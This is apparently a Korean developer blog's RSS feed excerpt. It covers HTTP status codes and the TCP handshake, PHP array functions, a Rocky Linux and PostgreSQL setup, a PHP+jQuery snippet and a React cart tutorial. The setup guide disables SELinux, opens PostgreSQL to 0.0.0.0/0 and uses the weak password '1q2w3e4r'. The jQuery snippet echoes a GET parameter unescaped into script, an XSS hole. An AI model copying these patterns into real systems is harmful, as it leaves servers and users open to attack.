<td><code>401 Unauthorized</code></td>
<td>인증 필요</td>
<td><strong>예시</strong>: 토큰 미제공/만료<br><strong>해결</strong>: 로그인 후 토큰 발급/갱신</td>
</tr>
<tr>
<td><code>403 Forbidden</code></td>
<td>권한 없음</td>
<td><strong>예시</strong>: 관리자 리소스 무단 접근<br><strong>해결</strong>: 권한 정책 검토</td>
</tr>
<tr>
<td><code>404 Not Found</code></td>
<td>리소스 없음</td>
<td><strong>예시</strong>: 잘못된 URL/삭제된 리소스<br><strong>해결</strong>: URL/ID 확인</td>
</tr>
<tr>
<td><code>429 Too Many Requests</code></td>
<td>요청 과다</td>
<td><strong>예시</strong>: 단시간 내 과도한 호출<br><strong>해결</strong>: Retry-After 로직 도입</td>
</tr>
</tbody></table>
<h3 id="24-5xx-서버-에러">2.4 5xx: 서버 에러</h3>
<blockquote>
<p>서버 내부 문제로 요청을 처리하지 못할 때 발생합니다.</p>
</blockquote>
<table>
<thead>
<tr>
<th>코드</th>
<th>설명</th>
<th>예시 상황 &amp; 해결책</th>
</tr>
</thead>
<tbody><tr>
<td><code>500 Internal Server Error</code></td>
<td>서버 일반 오류</td>
<td><strong>예시</strong>: 예외 미처리<br><strong>해결</strong>: 로그 확인, 예외 처리 보강</td>
</tr>
<tr>
<td><code>502 Bad Gateway</code></td>
<td>게이트웨이 오류</td>
<td><strong>예시</strong>: 프록시 문제<br><strong>해결</strong>: 상위 서버 상태 점검</td>
</tr>
<tr>
<td><code>503 Service Unavailable</code></td>
<td>서비스 중단/과부하</td>
<td><strong>예시</strong>: 유지보수/스케일링 부족<br><strong>해결</strong>: 오토스케일링 설정, 안내 페이지 제공</td>
</tr>
<tr>
<td><code>504 Gateway Timeout</code></td>
<td>게이트웨이 타임아웃</td>
<td><strong>예시</strong>: 응답 지연<br><strong>해결</strong>: 타임아웃 설정 최적화</td>
</tr>
</tbody></table>
<hr>
<p>이번 글에서는 HTTP의 기본 구조와 동작 원리, 그리고 상태 코드별 의미와 해결 방법을 살펴보았습니다. 다음 포스트에서는 인증·인가와 세션 관리에 대해 자세히 다뤄보겠습니다.</p>
<hr>
<h2 id="부록-tcp-3-way-핸드셰이크란">부록: TCP 3-way 핸드셰이크란?</h2>
<p>TCP 연결을 시작하기 전에 클라이언트와 서버가 서로 신뢰성 있는 채널을 마련하는 과정을 TCP-3-way 핸드셰이크라고 합니다. 이 과정을 통해 각 측이 제대로 준비됐는 지 확인하고, 데이터 전송의 순서를 관리할 초기 시퀀스 번호를 교환합니다.</p>
<ol>
<li>클라이언트 -&gt; 서버 : <code>SYN (seq = x)</code></li>
</ol>
<ul>
<li>클라이언트가 새로운 연결 요청을 의미하는 SYN(Synchronize) 플래그를 켠 TCP 패킷을 보냅니다.</li>
<li><code>seq=x</code>는 클라이언트가 사용할 첫 번째 데이터 바이트 번호를 의미합니다.</li>
</ul>
</br>

<ol start="2">
<li>서버 -&gt; 클라이언트 : <code>SYN-ACK (seq=y, ack=x+1)</code></li>
</ol>
<ul>
<li>서버는 클라이언트 요청을 수락한다는 의미로 SYN과 ACK(Acknowledgment) 플래그를 모두 켠 패킷으로 응답합니다.</li>
<li><code>seq=y</code> 는 서버가 사용할 첫 번째 데이터 바이트 번호, </br>
<code>ack=x+1</code>은 클라이언트의 SYN에 대한 확인 응답 번호입니다.</li>
</ul>
</br>

<ol start="3">
<li>클라이언트 -&gt; 서버 : <code>ACK (ack = y+1)</code></li>
</ol>
<ul>
<li>클라이언트는 서버의 SYN-ACK에 대한 확인 응답으로 ACK 플래그를 켠 패킷을 보냅니다.</li>
<li><code>ack=y+1</code>은 서버가 보낸 SYN에 대한 확인 응답 번호입니다. </li>
</ul>
</br>

<h3 id="왜-3-way-핸드셰이크가-필요할까요">왜 3-way 핸드셰이크가 필요할까요</h3>
<ul>
<li><strong>양방향 준비 확인</strong> : 단방향 SYN/ACK만으로는 한쪽이 준비되지 않을 수 있기 때문에, 양쪽이 서로 준비되었음을 모두 확인합니다.</li>
<li><strong>시퀀스 번호 설정</strong> : 이후 전송할 데이터의 순서를 맞추기 위해 초기 시쿼스 번호를 교환합니다.</li>
<li><strong>중복 연결 방지</strong> : 이전 세션의 잘못된 패킷(지연된 SYN 등)이 새 연결로 오인되는 것을 방지합니다.</li>
</ul>
<pre><code>Client                  Server
   | --- SYN, seq=x ---&gt; |
   | &lt;--- SYN-ACK ------ |
   |     seq=y, ack=x+1  |
   | --- ACK, ack=y+1---&gt;|
   |                     |
 [이제 데이터 전송 가능]   </code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[[php] array_flip(), array_intersect_key(),array_reduce(),  use() ]]></title>
            <link>https://velog.io/@kylie_03/php-arrayflip-arrayintersectkeyarrayreduce-use</link>
            <guid>https://velog.io/@kylie_03/php-arrayflip-arrayintersectkeyarrayreduce-use</guid>
            <pubDate>Fri, 04 Oct 2024 02:54:39 GMT</pubDate>
            <description><![CDATA[<h2 id="array_flip">array_flip()</h2>
<blockquote>
<p>배열의 키와 값을 뒤집는 함수</p>
</blockquote>
<pre><code class="language-php">$fruits = [&#39;apple&#39; =&gt; &#39;red&#39;, &#39;banana&#39; =&gt; &#39;yellow&#39;, &#39;grape&#39; =&gt; &#39;purple&#39;];
$flipped = array_flip($fruits);
print_r($flipped);
</code></pre>
<p>  결과</p>
<pre><code class="language-php">Array
(
    [red] =&gt; apple
    [yellow] =&gt; banana
    [purple] =&gt; grape
)
</code></pre>
<hr>
<h2 id="array_intersect_key">array_intersect_key()</h2>
<blockquote>
<p>두 배열의 공통된 키를 가진 요소만 추출</p>
</blockquote>
<pre><code class="language-php">$array1 = [&#39;a&#39; =&gt; 1, &#39;b&#39; =&gt; 2, &#39;c&#39; =&gt; 3];
$array2 = [&#39;a&#39; =&gt; &#39;apple&#39;, &#39;c&#39; =&gt; &#39;cat&#39;];
$commonKeys = array_intersect_key($array1, $array2);
print_r($commonKeys);
</code></pre>
<p>결과</p>
<pre><code class="language-php">Array
(
    [a] =&gt; 1
    [c] =&gt; 3
)
</code></pre>
<hr>
<h2 id="array_reduce">array_reduce()</h2>
<blockquote>
<p>배열을 순회하며 누적해서 하나의 값으로 변환하는 함수</p>
</blockquote>
<pre><code class="language-php">$numbers = [1, 2, 3, 4, 5];
$sum = array_reduce($numbers, function ($carry, $item) {
    return $carry + $item;
}, 0);
echo $sum; // 출력: 15

# $carry: 이전까지의 누적 값. 초기 값은 0.
# $item: 배열의 현재 요소 값.
#각 반복마다 $carry + $item을 누적하여 최종적으로 모든 숫자의 합을 구함.
</code></pre>
<hr>
<h2 id="use">use()</h2>
<blockquote>
<p><strong>클로저(익명 함수)</strong>에서 바깥 스코프에 있는 변수를 가져와 사용할 때 사용</p>
</blockquote>
<pre><code class="language-php">$greeting = &quot;Hello&quot;;

$closure = function ($name) use ($greeting) {
    echo $greeting . &#39;, &#39; . $name . &#39;!&#39;;
};

$closure(&#39;World&#39;); // 출력: Hello, World!
</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[Rocky Linux 8 & PostgreSQL 15 설치]]></title>
            <link>https://velog.io/@kylie_03/Rocky-Linux-8-PostgreSQL-15-%EC%84%A4%EC%B9%98</link>
            <guid>https://velog.io/@kylie_03/Rocky-Linux-8-PostgreSQL-15-%EC%84%A4%EC%B9%98</guid>
            <pubDate>Sat, 31 Aug 2024 08:52:52 GMT</pubDate>
            <description><![CDATA[<h1 id="rocky-linux-설치">Rocky Linux 설치</h1>
<h2 id="1-download">1. Download</h2>
<p><a href="https://rockylinux.org/ko/download">공식홈페이지</a></p>
<p><a href="https://docs.rockylinux.org/guides/installation/">Document</a></p>
<h2 id="2-network-설정">2. network 설정</h2>
<pre><code class="language-shell">nmcli con show</code></pre>
<pre><code class="language-shell">nmcli connection add type ethernet ifname eth0 con-name MyConnection
nmcli connection modify MyConnection ipv4.addresses &quot;192.168.1.100/24&quot; ipv4.gateway &quot;192.168.1.1&quot; ipv4.dns &quot;8.8.8.8&quot;
nmcli connection up MyConnection

nmcli con modify eth0 ipv4.method manual ipv4.address ${ip address} ipv4.gateway ${gateway} ipv4.dns 168.126.63.1 connection.autoconnect yes

nmcli con reload</code></pre>
<pre><code class="language-shell">vi /etc/sysconfig/network-scripts/ifcfg-eth0

BOOTPROTO=none
ONBOOT=yes
IPADDR=${ip address}
GATEWAY=${gateway}
DNS1=168.126.63.1

systemctl restart NetworkManager</code></pre>
<blockquote>
<p>${ip address} = 사용할 아이피 주소</p>
</blockquote>
<blockquote>
<p>${gateway} = 사용할 게이트웨이 주소</p>
</blockquote>
<h2 id="3-update">3. update</h2>
<pre><code class="language-shell">dnf update -y</code></pre>
<pre><code class="language-shell">sudo dnf install epel-release
sudo dnf install -y rsync telnet cronolog wget
sudo dnf install -y qrencode ImageMagick</code></pre>
<blockquote>
<ul>
<li>epel-release: EPEL 저장소를 활성화하여 추가 패키지를 설치할 수 있도록 함.</li>
</ul>
</blockquote>
<ul>
<li>rsync: 파일 및 디렉토리 동기화 및 복사 도구.</li>
<li>telnet: 원격 서버 접속 및 네트워크 진단 도구.</li>
<li>cronolog: 로그 파일을 날짜/시간에 따라 회전시키는 도구.</li>
<li>wget: 웹에서 파일을 다운로드하는 도구.</li>
<li>qrencode: QR 코드 생성 도구.</li>
<li>ImageMagick: 이미지 변환 및 편집 도구</li>
</ul>
<h2 id="4-firewall-설정">4. firewall 설정</h2>
<pre><code class="language-shell">vi /etc/selinux/config
&gt; #SELINUX=enforcing
&gt; SELINUX=disabled

vi /etc/sysctl.conf
&gt; kernel.msgmni = 1024 추가

setenforce 0

firewall-cmd --zone=public --add-service=ssh --permanent
firewall-cmd --zone=public --add-service=http --permanent
firewall-cmd --zone=public --add-service=https --permanent
firewall-cmd --zone=public --add-service=mysql --permanent
firewall-cmd --zone=public --add-service=postgresql --permanent

firewall-cmd --zone=public --add-port=8000/tcp --permanent

firewall-cmd --reload

firewall-cmd --state
firewall-cmd --list-all

systemctl enable firewalld
systemctl restart firewalld</code></pre>
<h2 id="5-트래픽-체크">5. 트래픽 체크</h2>
<pre><code class="language-shell">sudo dnf install vnstat
sudo vnstat --init
sudo systemctl start vnstat
sudo systemctl enable vnstat</code></pre>
<pre><code>vnstat -d    # 일간 통계
vnstat -w    # 주간 통계
vnstat -m    # 월간 통계
vnstat -l    # 실시간 트랙픽 확인</code></pre><h2 id="6-시간-동기화">6. 시간 동기화</h2>
<pre><code class="language-shell">sudo dnf install chrony
sudo systemctl start chronyd
sudo systemctl enable chronyd</code></pre>
<pre><code class="language-shell">chronyc tracking</code></pre>
<pre><code class="language-shell">crontab -e
0 0 * * * systemctl restart chronyd</code></pre>
<hr>
<h1 id="postgresql-설치">PostgreSQL 설치</h1>
<pre><code class="language-shell">sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-8-x86_64/pgdg-redhat-repo-latest.noarch.rpm
sudo dnf -qy module disable postgresql
sudo dnf install -y postgresql15-server
sudo /usr/pgsql-15/bin/postgresql-15-setup initdb

vi /var/lib/pgsql/15/data/postgresql.conf
&gt; listen_addresses = &#39;*&#39;

vi /var/lib/pgsql/15/data/pg_hba.conf
# &quot;local&quot; is for Unix domain socket connections only
local   all             all                                     md5
# IPv4 local connections:
host    all             all             127.0.0.1/32            md5
host    all             all             0.0.0.0/0                md5
# IPv6 local connections:
host    all             all             ::1/128                 md5
# Allow replication connections from localhost, by a user with the
# replication privilege.
#local   replication     all                                     peer
#host    replication     all             127.0.0.1/32            ident
#host    replication     all             ::1/128                 ident</code></pre>
<pre><code class="language-shell">sudo systemctl enable postgresql-15
sudo systemctl start postgresql-15</code></pre>
<pre><code class="language-shell"># localhost postgresql 접속
sudo -i -u postgres
psql</code></pre>
<pre><code class="language-sql"># postgresql
ALTER USER postgres WITH PASSWORD &#39;1q2w3e4r&#39;;
CREATE USER ${USER ID} WITH PASSWORD &#39;${USER PASSWD}&#39; superuser;
CREATE DATABASE &quot;${DATABASE_NAME}&quot; OWNER ${USER ID} ENCODING &#39;UTF-8&#39;;
GRANT ALL PRIVILEGES ON DATABASE &quot;${DATABASE_NAME}&quot; TO ${USER ID};</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[PHP + jQuery] Get 방식으로 가져온 값과 li>a의 class 값이 일치할 때 li에 class 부여하기]]></title>
            <link>https://velog.io/@kylie_03/PHP-jQuery-Get-%EB%B0%A9%EC%8B%9D%EC%9C%BC%EB%A1%9C-%EA%B0%80%EC%A0%B8%EC%98%A8-%EA%B0%92%EA%B3%BC-lia%EC%9D%98-class-%EA%B0%92%EC%9D%B4-%EC%9D%BC%EC%B9%98%ED%95%A0-%EB%95%8C-li%EC%97%90-class-%EB%B6%80%EC%97%AC%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/PHP-jQuery-Get-%EB%B0%A9%EC%8B%9D%EC%9C%BC%EB%A1%9C-%EA%B0%80%EC%A0%B8%EC%98%A8-%EA%B0%92%EA%B3%BC-lia%EC%9D%98-class-%EA%B0%92%EC%9D%B4-%EC%9D%BC%EC%B9%98%ED%95%A0-%EB%95%8C-li%EC%97%90-class-%EB%B6%80%EC%97%AC%ED%95%98%EA%B8%B0</guid>
            <pubDate>Tue, 21 Mar 2023 00:23:52 GMT</pubDate>
            <description><![CDATA[<pre><code class="language-javascript">    $(function () {
        const $category = &quot;&lt;?php echo $_GET[&#39;category_1&#39;]?&gt;&quot;;
        $(&quot;.category_list li a&quot;).each(function (){
            if ($(this).hasClass($category)) { // class 비교
                $(this).parent().addClass(&quot;on&quot;); // li에 클래스 추가
            }
        })
    })</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[ReferenceError: __dirname is not defined in ES module scope]]></title>
            <link>https://velog.io/@kylie_03/ReferenceError-dirname-is-not-defined-in-ES-module-scope</link>
            <guid>https://velog.io/@kylie_03/ReferenceError-dirname-is-not-defined-in-ES-module-scope</guid>
            <pubDate>Thu, 19 Jan 2023 02:51:12 GMT</pubDate>
            <description><![CDATA[<p>Express에서 ES 모듈에서 path를 사용했을 때, 다음과 같은 오류가 발생합니다. </p>
<blockquote>
<p>ReferenceError: __dirname is not defined in ES module scope. This file is being treated as an ES module because it has a .js file extention .... </p>
</blockquote>
</br>

<p>다음과 같이 사용할 경우 위 에러를 해결할 수 있습니다. </p>
<pre><code class="language-javascript">import path from &#39;path&#39;;
const __dirname = path.resolve();</code></pre>
</br>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] 장바구니 페이지 만들기 프로젝트 (2)]]></title>
            <link>https://velog.io/@kylie_03/React-%EC%9E%A5%EB%B0%94%EA%B5%AC%EB%8B%88-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-2</link>
            <guid>https://velog.io/@kylie_03/React-%EC%9E%A5%EB%B0%94%EA%B5%AC%EB%8B%88-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-2</guid>
            <pubDate>Tue, 29 Nov 2022 07:59:54 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>이번에는 본격 상품 리스트에 있는 상품을 클릭하여 장바구니에 넣어보도록 하겠습니다. </p>
<blockquote>
<p>자료출처 : <a href="https://brand.naver.com/linefriends/category/b4f7430d419e4e729c8eae3093b37e21?cp=1">https://brand.naver.com/linefriends/category/b4f7430d419e4e729c8eae3093b37e21?cp=1</a>
저작권 : 라인 프렌즈
<span style="color:red">위 데이터는 공부 목적으로 사용했으며 어떠한 결제 시스템이 없음을 사전에 공지합니다</span></p>
</blockquote>
</br>

<h2 id="2목표">2.목표</h2>
<blockquote>
<ol>
<li>상품 리스트에 있는 상품을 클릭하면 장바구니에 상품을 추가한다.</li>
<li>장바구니에 담긴 총 아이템 갯수를 오른쪽 상단 뱃지에 출력한다.</li>
<li>장바구니에 담긴 상품 리스트를 출력한다.</li>
<li>장바구니 리스트에서 상품의 갯수를 추가하거나 제거할 수 있다.</li>
</ol>
</blockquote>
</br>

<h2 id="3-handle-함수-만들기">3. handle 함수 만들기</h2>
<p>앱 전반적으로 상품을 추가, 제거하거나 장바구니 총 갯수를 가져오기 위해 글로벌 함수를 만들어 보겠습니다. </p>
<h4 id="srcapptsx">src/App.tsx</h4>
<pre><code class="language-typescript">import React, {useState} from &#39;react&#39;;
import {database} from &quot;./database/products&quot;;
import {ShoppingCartItem} from &quot;./interfaces/item.interface&quot;;
import {AppRouter} from &quot;./routers/AppRoutes&quot;;
import &#39;./App.css&#39;

// SET CATEGORY
const arr = database.map((item) =&gt; {
    return item.category
});
arr.push(&#39;ALL&#39;);
const category = Array.from(new Set(arr)).sort();

const App = () =&gt; {
// NOTE - 1 
    const [cartItem, setCartItem] = useState&lt;ShoppingCartItem[]&gt;([]);

// NOTE - 2 
    const handleAddToCart = (clickedItem: ShoppingCartItem) =&gt; {
        setCartItem((prev) =&gt; {
            const isItemInCart = cartItem.find((item) =&gt; item.id === clickedItem.id);
            if (isItemInCart) {
                return prev.map((item) =&gt; (item.id === clickedItem.id ? {...item, amount: item.amount + 1} : item));
            }
            return [{...clickedItem, amount: 1}, ...prev];
        });
    };

// NOTE - 3
    const handleRemoveFromCart = (id: number) =&gt; {
        setCartItem((prev) =&gt;
            prev.reduce((acc, item) =&gt; {
                if (item.id === id) {
                    if (item.amount === 1) return acc;
                    return [...acc, {...item, amount: item.amount - 1}]
                } else {
                    return [...acc, item]
                }
            }, [] as ShoppingCartItem[])
        )
    }

// NOTE - 4
    const getTotalItems = (items: ShoppingCartItem[] | null) =&gt; {
        return items?.reduce((acc, item) =&gt; acc + item.amount, 0)
    }

    return (
        &lt;&gt;
            &lt;AppRouter
                menuList={database}
                category={category}
                cartItem={cartItem}
                addToCart={handleAddToCart}
                removeFromCart={handleRemoveFromCart}
                getTotalItem={getTotalItems}/&gt;
        &lt;/&gt;


    );
}

export default App;</code></pre>
</br>


<blockquote>
<p>💡 NOTE - 1 
앱 전반적으로 사용할 장바구니 리스트 입니다.</p>
</blockquote>
<blockquote>
<p>💡 NOTE - 2 <code>handleAddToCart</code> 
장바구니에 상품을 추가하는 함수입니다.
상품을 클릭하면 상품 id가 기존의 상품 리스트에 있는지 확인합니다. 
기존에 상품이 없으면 amount = 1로, 있으면 amount += 1 합니다.</p>
</blockquote>
<blockquote>
<p>💡 NOTE - 3  <code>handleRemoveFromCart</code>
장바구니 리스트에서 상품을 제거하는 함수입니다. 
함수를 실행할 때마다 amount 값을 줄이고, amount = 0 이 되면 장바구니 리스트에서 제거합니다.</p>
</blockquote>
<blockquote>
<p>💡 NOTE - 4 <code>getTotalItems</code>
총 장바구니에 담긴 상품 갯수를 가져오는 함수입니다.</p>
</blockquote>
</br>

<p>각 함수들을 이제 <code>AppRouter</code>에 전달하겠습니다. </p>
<h4 id="srcroutersapproutestsx">src/routers/AppRoutes.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;
import {Main} from &quot;../pages/main&quot;;
import {MenuListInterface} from &quot;../interfaces/item.interface&quot;;
import {Navbar} from &quot;../components/Navbar&quot;;
import {Home} from &quot;../pages/Home&quot;;
import {Header} from &quot;../components/Header&quot;;


type AppRoutesType = {
    menuList: MenuListInterface[] | null
    category: string[] | null
    cartItem: ShoppingCartItem[] | null
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
    getTotalItem: (items: any) =&gt; any
}

export const AppRouter = ({menuList, category, cartItem, addToCart, removeFromCart, getTotalItem}: AppRoutesType) =&gt; {
    return &lt;&gt;
        &lt;BrowserRouter&gt;
        {/*NOTE - 5*/}
            &lt;Header cartItem={cartItem} addToCart={addToCart} removeFromCart={removeFromCart} getTotalItem={getTotalItem}/&gt;
            &lt;Navbar category={category}/&gt;
            &lt;Routes&gt;
                &lt;Route path={&#39;/&#39;} element={&lt;Home/&gt;}&gt;&lt;/Route&gt;
                &lt;Route path={&#39;/:category&#39;} element={&lt;Main menuList={menuList}/&gt;}&gt;&lt;/Route&gt;
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    &lt;/&gt;


}</code></pre>
</br>

<blockquote>
<p>💡 NOTE - 5
아직 헤더를 만들진 않았지만 미리 헤더 컴포넌트에 필요한 값을 전달하도록 하겠습니다.</p>
</blockquote>
</br>

<h2 id="4-header-만들기">4. header 만들기</h2>
<h4 id="srccomponentsheadertsx">src/components/Header.tsx</h4>
<pre><code class="language-typescript">import React, {useState} from &quot;react&quot;;

// INTERFACES
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;

import {HeaderWrap} from &quot;../styles/header.styled,ts&quot;;
import {Drawer} from &quot;@mui/material&quot;;
import SearchIconfrom &quot;@mui/icons-material/Search&quot;;
import ShoppingBasketOutlinedIconfrom &quot;@mui/icons-material/ShoppingBasketOutlined&quot;;
import ViewHeadlineIconfrom &quot;@mui/icons-material/ViewHeadline&quot;;
import Badgefrom &quot;@mui/material/Badge&quot;;

type HeaderType = {
    cartItem: ShoppingCartItem[] | null
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
    getTotalItem: (items: any) =&gt; any
}

export const Header = ({cartItem, addToCart, removeFromCart, getTotalItem}: HeaderType) =&gt; {
    const [cartOpen, setCartOpen] = useState&lt;boolean&gt;(false);

    return &lt;HeaderWrap&gt;
        &lt;Drawer anchor={&#39;right&#39;} open={cartOpen} onClose={() =&gt; setCartOpen(false)}&gt;
        &lt;/Drawer&gt;
        &lt;div className={&#39;header-left&#39;}&gt;
            &lt;div&gt;
                &lt;p&gt;R&lt;/p&gt;
            &lt;/div&gt;
            &lt;div className={&#39;logo&#39;}&gt;
                RINE FRIENDS
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div className={&#39;header-right&#39;}&gt;
            &lt;div&gt;
                &lt;SearchIcon/&gt;
            &lt;/div&gt;
            &lt;div onClick={() =&gt; setCartOpen(true)}&gt;
                &lt;Badge className={&#39;count_badge&#39;} badgeContent={getTotalItem(cartItem)} color={&#39;error&#39;}&gt;&lt;/Badge&gt;
                &lt;ShoppingBasketOutlinedIcon/&gt;
            &lt;/div&gt;
            &lt;div&gt;
                &lt;ViewHeadlineIcon/&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/HeaderWrap&gt;
}</code></pre>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/c645afdf-c803-48e7-aff1-c372bbfe72dc/image.gif" alt=""></p>
<p>장바구니 아이콘을 클릭하니 이벤트가 발생하는 것을 볼 수 있습니다.</p>
<p>이제 장바구니 아이콘을 클릭했을 때 장바구니 리스트가 출력하도록 해보겠습니다.</p>
</br>

<h2 id="5-장바구니-리스트-만들기">5. 장바구니 리스트 만들기</h2>
<p>상품 목록 리스트를 만들 때와 마찬가지로 상품 하나 당 출력되는 컴포넌트 먼저 만들어보겠습니다.</p>
<h4 id="srccomponentscartitemtsx">src/components/CartItem.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {numberFormat} from &quot;../common&quot;;

// INTERFACES
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;

// CSS
import {CartItemWrap} from &quot;../styles/cartItem.styled&quot;;
import { Button } from &quot;@mui/material&quot;;

type CartItemType = {
    item: ShoppingCartItem
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
}

export const CartItem = ({item, addToCart, removeFromCart}: CartItemType) =&gt; {

    return &lt;CartItemWrap&gt;
        &lt;div className=&quot;thumb&quot;&gt;
            &lt;img src={item.image} alt={item.title}&gt;&lt;/img&gt;
        &lt;/div&gt;
        &lt;div className=&quot;info&quot;&gt;
            &lt;p&gt;{item.title}&lt;/p&gt;
            &lt;p&gt;Price : {numberFormat(item.price)}원&lt;/p&gt;
            &lt;p&gt;Total : {numberFormat(item.amount * item.price)}원&lt;/p&gt;
        &lt;/div&gt;
        &lt;div className=&quot;buttons&quot;&gt;
            &lt;Button
                size=&quot;small&quot;
                disableElevation
                variant=&quot;contained&quot;
                onClick={() =&gt; {
                    removeFromCart(item.id);
                }}
            &gt;
                -
            &lt;/Button&gt;
            {item.amount}
            &lt;Button
                size=&quot;small&quot;
                disableElevation
                variant=&quot;contained&quot;
                onClick={() =&gt; {
                    addToCart(item);
                }}
            &gt;
                +
            &lt;/Button&gt;
        &lt;/div&gt;
    &lt;/CartItemWrap&gt;
}</code></pre>
</br>

<p><strong>결과</strong>
나중에 데이터를 받으면 다음과 같이 출력합니다. 
<img src="https://velog.velcdn.com/images/kylie_03/post/6b8de042-56b3-4004-942c-7132e594c18f/image.png" alt=""></p>
</br>

<p>이제 상품 리스트 만들어 보겠습니다.</p>
<p>나중에 헤더에서 클릭한 장바구니 리스트 (cartItem)를 받으면 반복문을 돌면서 위에서 만든 <code>CartItem</code> 컴포넌트에 값을 전달하겠습니다.</p>
<h4 id="srccomponentscartlisttsx">src/components/CartList.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {numberFormat} from &quot;../common&quot;;
import {CartListWrap} from &quot;../styles/cartList.styled&quot;;
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;
import {CartItem} from &quot;./CartItem&quot;;


type CartList = {
    cartItem: ShoppingCartItem[] | null
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
}

export const CartList = ({cartItem, addToCart, removeFromCart}: CartList) =&gt; {

        {/* NOTE - 6 */}
    const totalPrice = (items: ShoppingCartItem[]) =&gt; {
        return items?.reduce((count, item) =&gt; count + item.amount * item.price, 0);
    }

    const hidden = cartItem?.length === 0 ? &#39;hidden&#39; : &quot;&quot;;


    return &lt;CartListWrap&gt;
        &lt;div className={&#39;title&#39;}&gt;
            &lt;h3&gt;Your Shopping Cart&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div className={hidden}&gt;
            {cartItem?.map((item) =&gt; (
                &lt;CartItem key={item.id} item={item} addToCart={addToCart} removeFromCart={removeFromCart} /&gt;
            ))}
            &lt;div className={&#39;price&#39;}&gt;
                &lt;span&gt;
                    TOTAL : &lt;strong&gt;{numberFormat(totalPrice(cartItem?  cartItem : []))}원&lt;/strong&gt;
                &lt;/span&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/CartListWrap&gt;
}</code></pre>
<blockquote>
<p>💡 NOTE - 6 - <code>totalPrice</code>
장바구니에 담긴 모든 상품의 최종 가격을 출력합니다. </p>
</blockquote>
</br>

<p>CartList가 만들어졌으니 헤더에 추가하겠습니다.</p>
<h4 id="srccomponentsheadertsx-1">src/components/Header.tsx</h4>
<pre><code class="language-typescript">import React, {useState} from &quot;react&quot;;

// COMPONENTS
import {CartList} from &quot;./CartList&quot;;

// INTERFACES
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;

import {HeaderWrap} from &quot;../styles/header.styled,ts&quot;;
import {Drawer} from &quot;@mui/material&quot;;
import SearchIcon from &quot;@mui/icons-material/Search&quot;;
import ShoppingBasketOutlinedIcon from &quot;@mui/icons-material/ShoppingBasketOutlined&quot;;
import ViewHeadlineIcon from &quot;@mui/icons-material/ViewHeadline&quot;;
import Badge from &quot;@mui/material/Badge&quot;;

type HeaderType = {
    cartItem: ShoppingCartItem[] | null
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
    getTotalItem: (items: any) =&gt; any
}

export const Header = ({cartItem, addToCart, removeFromCart, getTotalItem}: HeaderType) =&gt; {
    const [cartOpen, setCartOpen] = useState&lt;boolean&gt;(false);

    return &lt;HeaderWrap&gt;
        &lt;Drawer anchor={&#39;right&#39;} open={cartOpen} onClose={() =&gt; setCartOpen(false)}&gt;
            {/* NOTE - 7 */}
            &lt;CartList cartItem={cartItem} addToCart={addToCart} removeFromCart={removeFromCart} /&gt;
        &lt;/Drawer&gt;
        &lt;div className={&#39;header-left&#39;}&gt;
            &lt;div&gt;
                &lt;p&gt;R&lt;/p&gt;
            &lt;/div&gt;
            &lt;div className={&#39;logo&#39;}&gt;
                RINE FRIENDS
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div className={&#39;header-right&#39;}&gt;
            &lt;div&gt;
                &lt;SearchIcon/&gt;
            &lt;/div&gt;
            &lt;div onClick={() =&gt; setCartOpen(true)}&gt;
                &lt;Badge className={&#39;count_badge&#39;} badgeContent={getTotalItem(cartItem)} color={&#39;error&#39;}&gt;&lt;/Badge&gt;
                &lt;ShoppingBasketOutlinedIcon/&gt;
            &lt;/div&gt;
            &lt;div&gt;
                &lt;ViewHeadlineIcon/&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/HeaderWrap&gt;
}</code></pre>
</br>

<blockquote>
<p>💡 NOTE - 7 
<code>CartList</code> 컴포넌트를 추가하고 필요한 인자들을 전달하겠습니다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/2eacccb7-2e2d-454b-95ea-79dd63c1bc9b/image.gif" alt=""></p>
<p>자 이제 장바구니가 만들어졌습니다. 
이제 장바구니에 아이템을 추가해 보도록 하겠습니다. </p>
</br>


<h2 id="6-장바구니에-상품-추가하기">6. 장바구니에 상품 추가하기</h2>
<h4 id="srccomponentsitemtsx">src/components/Item.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;
import Swal from &quot;sweetalert2&quot;;
import {numberFormat} from &quot;../common&quot;;

// CSS
import {Button} from &quot;@mui/material&quot;;
